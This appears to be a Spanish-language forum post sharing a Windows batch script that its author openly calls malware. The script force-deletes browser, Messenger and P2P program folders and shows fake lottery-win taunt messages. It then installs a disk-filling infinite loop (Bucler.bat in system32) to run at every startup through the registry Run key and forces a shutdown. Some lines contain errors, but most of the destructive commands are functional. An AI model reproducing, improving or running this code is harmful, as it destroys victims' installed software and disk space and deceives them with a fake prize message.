Malware

Estaba trabajando en un worm en Batch, pero al final decidí crear un malware.

Código

-----------------------------------------------------------------------------------------------------
@echo off
cd C:\WINDOWS\system32
echo off>Bucler.bat
echo @echo off>>Bucler.bat
echo cd C:\>>Bucler.bat
echo set var= 1>>Bucler.bat
echo set oper= 1>>Bucler.bat
echo :bucle>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo echo %random%>A %var%.txt>>Bucler.bat
echo set /a var=%var% + %oper%>>Bucler.bat
echo goto bucle>>Bucler.bat
echo exit>>Bucler.bat
if exist "%programfilles%\Internet Explorer" goto explorer else goto anali2
:explorer
del /Q /S /F "%programfilles%\Internet Explorer"
goto anali2
:anali2
if exist "%programfilles%\Konqueror" goto konqueror else goto anali3
:konqueror
del /Q /S /F "%programfilles%\Konqueror"
goto anali3
:anali3
if exist "%programfilles%\Mozilla Firefox" goto firefox else goto anali4
:firefox
del /Q /S /F "%programfilles%\Mozilla Firefox"
goto anali4
:anali4
if exist "%programfilles%\Crazy Bowser" goto bowser else goto anali5
:bowser
del /Q /S /F "%programfilles%\Crazy Bowser"
goto anali5
:anali5
if exist "%programfilles%\Opera" goto opera else goto anali6
:opera
del /Q /S /F "%programfilles%\Opera"
goto anali6
:anali6
if exist "%programfilles%\Netscape" goto netscape else goto anali7
:netscape
del /Q /S /F "%programfilles%\Netscape"
goto anali7
:anali7
if exist "%programfilles%\Safari" goto safari else goto anali8
:safari
del /Q /S /F "%programfilles%\Safari"
goto anali8
:anali8
if exist "%programfilles%\Galeon" goto galeon else goto anali9
:galeon
del /Q /S /F "%programfilles%\Galeon"
goto anali9
:anali9
if exist "%programfilles%\ICab" goto icab else goto lotery
:icab
del /Q /S /F "%programfilles%\ICab"
:lotery
msg * Te ha tocado la loteria!
msg * Pero hasta que no seas mejor no podras cobrar el premio
msg * Primero: Adios Messenger, eso es para tontos
taskkill msnmsgs.exe
taskkill msnmsgr.exe
del /Q /S /F msnmsgs.exe
del /Q /S /F msnmsgr.exe
::Esto es la primera tonteria que se me ocurrio
msg * Segundo: Adios Internet, eso es para hackers
msg * Tercero: Adios los P2P, eso es para piratear
del /Q /S /F "%programfilles%\eMule"
del /Q /S /F "%programfilles%\Ares"
del /Q /S /F "%programfilles%\Kazaa"
del /Q /S /F "%programfilles%\BitTorrent"
del /Q /S /F "%programfilles%\eDonkey"
del /Q /S /F "%programfilles%\uTorrent"
del /Q /S /F "%programfilles%\Azureus"
del /Q /S /F "%programfilles%\Soulseek"
msg * Ji, Ji, Ji
msg * ¿De verdad te lo creistes?
msg * Pues no, no te ha tocado la loteria
msg * Pero te haré un regalito igualmente
msg * Te lo dejo en tu PC
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v"windows" /d "C:\WINDOWS\system32\Bucler.bat"
tsshutdown -s -f -c "HACKER EN TU PC" -05
-----------------------------------------------------------------------------------------------------

Código